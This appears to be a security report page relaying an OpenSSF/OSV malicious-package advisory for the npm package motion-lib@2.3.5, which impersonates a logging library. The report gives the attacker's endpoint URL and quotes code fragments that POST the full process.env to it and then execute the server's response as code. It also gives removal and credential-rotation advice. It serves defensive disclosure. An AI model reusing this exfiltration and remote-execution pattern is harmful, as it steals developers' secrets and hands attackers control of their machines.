motion-lib
This report shows the evidence for motion-lib@2.3.5, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-5925 confirms this npm version as malicious.
Advisory
MAL-2026-5925
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in motion-lib (npm)
Details
motion-lib@2.3.5 masquerades as a pino-style logger (exports module.exports.pino, ships proto.js/multistream.js/transport.js/redaction.js/levels.js, advertises 'fast','logger','stream','json' keywords) but its middleware factory in index.js spawns a detached `node lib/initializeCaller.js`. That script shadows `process` with a local object whose `env.DEV_API_KEY` holds a base64-encoded string that decodes to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df, then POSTs the host's full real `process.env` to that endpoint with header `x-secret-header: secret` (`axios.post(apiEndpoint, {...process.env },...)`). The HTTP response body is then executed via `new Function('require', response.data); executor(require);`, giving the remote endpoint arbitrary code execution with full Node capabilities (filesystem, network, child_process) on the installer's machine. The combination of full-environment exfiltration (AWS_*, GITHUB_TOKEN, NPM_TOKEN, CI secrets, DB creds), eval-of-remote-response RCE, base64 obfuscation of the C2 URL, and impersonation of a popular logger package is an unambiguous supply-chain attack.
## Source: ghsa-malware (42d1c97ca524f366ce6123786b4b68ebd3796c9d221d59009641effddc0e02de) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to motion-lib@2.3.5.
The versions list below shows the verdict for each recorded version.
- Avoid installing motion-lib@2.3.5. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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